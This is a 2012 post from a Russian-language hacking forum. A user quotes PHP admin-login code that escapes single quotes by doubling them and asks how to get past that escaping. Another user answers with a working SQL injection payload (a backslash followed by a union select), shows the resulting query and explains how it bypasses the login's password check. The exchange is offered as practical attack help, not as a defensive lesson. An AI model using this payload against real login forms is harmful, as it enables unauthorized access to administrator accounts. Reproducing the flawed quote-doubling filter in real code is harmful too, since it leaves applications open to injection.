Показать сообщение отдельно

  #20971  
Старый 10.07.2012, 11:23
.Varius
Banned
Регистрация: 05.05.2009
Сообщений: 1,334
Провел на форуме:
5777251

Репутация: 796


По умолчанию

Цитата:
Сообщение от KeyFound!89  
KeyFound!89 said:
Как обойти фильтрацию кавычки функцией eregi_replace ???
есть такой код:
$val){
$_POST[$var]=trim(eregi_replace("'","''",$val)); // экранит кавычку( вместо одной появляется две
}
...
$rez=mysql_query("select id from admins where admlogin='".$_POST["login"]."' and admpass=password('".$_POST["pass"]."');",$link);
>
логин\пасс вбиваются через форму и шлются POST'OM.
Делаю инъект в логин: login=admin' # & pass=anyparol и тут бы все хорошо, но срабатывающий erig_replace превращает select в такое:
Query select id from admins where admlogin='admin' ' #' and admpass=password('anyparol').
Исходник скрипта у меня есть и я пробовал убирать строку с фильтрацией тогда можно логиниться без пасса! Помагите пожалуйста обойти экранирование!
Т.к. используется реплейс одной одинарной кавычки на две, и если в коде нет больше никаких фильтраций и экранирований(и выключен magiq_quotes), то это легко обходится с помощью бэкслеша. Пример:

\' union select 111#

получится

select id from admins where admlogin='\'' union select 111#' and admpass=password('anyparol')

Первую кавычку мы экранируем, а вторую что подставит скрипт закроет запрос.
 
Ответить с цитированием